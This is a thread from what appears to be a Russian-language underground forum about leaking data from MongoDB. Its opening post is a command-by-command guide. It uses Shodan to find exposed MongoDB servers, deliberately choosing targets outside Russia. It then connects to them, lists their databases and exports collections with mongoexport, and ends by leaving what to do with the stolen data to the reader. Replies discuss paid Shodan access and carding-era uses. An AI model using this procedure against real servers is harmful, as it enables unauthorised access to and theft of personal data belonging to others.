Утечки данных MongoDB

фото сисек

Участник проекта
Пользователь
Регистрация
22 Фев 2019
Сообщения
82
Баллы
0
Общие продажи
0$
Общие покупки
0$
Привет всем, кто в курсе, тот в курсе. Кто нет, рассказываю. Недавно обнаружили критические уязвимости в MongoDB, которые активно эксплуатируют. Здесь предлагаю выкладывать инфу по этим утечкам и обсуждать ее тут жу. Погнали



Новости об утечках данных перестали удивлять. Целью воровства информации зачастую становятся персональные данные.
Основная причина возможности утечки информации - неверная настройка доступа к базам данных [1].
В заметке отражен пример доступа к базе данных (БД) MongoDB. Поиск открытых БД будем производить в поисковике Shodan.

Для начала необходимо установим клиент Shodan для Python[2].

$ easy_install shodan

После полной установки, необходимо инициализировать клиент, указав свой API-key. Ключ можно найти в профиле пользователя Shodan, предварительно зарегистрировавшись.
Где взять API-key не регистрируясь рассказано в статье

Please Login or Register to view hidden text.

[3]

$ shodan init <API-key>

Получив сообщение Successfully initialized можно приступать к поиску.
Поиск удобнее вести, указывая определенный продукт, страну и город. Учтите, что порядочные исследователи не выбирают целью исследования Россию.
Поэтому в качестве top-level domain можно выбрать страну вероятного противника.

$ shodan search product:mongodb country:ru city:washington

Вывод команды может выдать большой список данных, неудобных для разбора. Для удобства можно скачать данные в формате JSON.

$ shodan download mnogodb product:mongodb country:us

Далее для анализа данных используйте параметр parse, а также указание необходимых полей для вывода и разделитель данных.

$ shodan parse --fields ip_str,org --separator , mnogodb.json.gz

Также полученные данные можно конвертировать в файлы формата xlsx и csv для последующего анализа.

$ shodan convert mnogodb.json.gz xlsx

После получения необходимых адресов серверов баз данных, можно подключиться к ним используя клиент MongoDB [4].
Установка клиента осуществляется просто (на примере Ubuntu Linux):

$ sudo apt install mongodb

Подключение к серверу БД и просмотр баз:

$ mongo <ipaddress>
$ show dbs

После нахождения интересующей вас информации можно скопировать данные определенной таблицы (коллекции, в терминах БД) [5]:

$ mongoexport --db <dbname> --collection <collectionname> --out dbexport.json

Что делать с полученными данными - решать вам.

[1]

Please Login or Register to view hidden text.


[2]

Please Login or Register to view hidden text.


[3]

Please Login or Register to view hidden text.


[4]

Please Login or Register to view hidden text.


[5]

Please Login or Register to view hidden text.




Please Login or Register to view hidden text.

 

фото сисек

Участник проекта
Пользователь
Регистрация
22 Фев 2019
Сообщения
82
Баллы
0
Общие продажи
0$
Общие покупки
0$
Сам поисковик кстати платный. Но там не супер дорого. И мануалов куча как им пользоваться. Если вы в теме активно работаете, о он, конечно нужен.


Please Login or Register to view hidden text.

, которая поможет найти базы.


Please Login or Register to view hidden text.

- все на русском: под 100 страниц, иллюстрации, примеры, таски, код, API и тд. Новичкам - мастрид!
 

mortum-99

Участник проекта
Друзья проекта
Пользователь
Регистрация
22 Фев 2019
Сообщения
95
Баллы
0
Общие продажи
0$
Общие покупки
0$
Говорят монго пофиксили уязвимость уже.
 

Vendett@

Активный участник
Пользователь
Регистрация
24 Фев 2019
Сообщения
101
Баллы
0
Общие продажи
0$
Общие покупки
0$
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Шодан тема. в старые времена искали деды с посами так)))
 

lossir

Бегемот форума
Команда форума
Администратор
АвтоГарант : 3
Регистрация
25 Янв 2019
Сообщения
374
Баллы
0
Общие продажи
0$
Общие покупки
0$
Вот и новость в тему

Please Login or Register to view hidden text.

 

Burbon

Активный участник
Пользователь
Регистрация
22 Фев 2019
Сообщения
101
Баллы
0
Общие продажи
0$
Общие покупки
0$

Vendett@

Активный участник
Пользователь
Регистрация
24 Фев 2019
Сообщения
101
Баллы
0
Общие продажи
0$
Общие покупки
0$
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.

Burbon

Активный участник
Пользователь
Регистрация
22 Фев 2019
Сообщения
101
Баллы
0
Общие продажи
0$
Общие покупки
0$
А щас сложно?)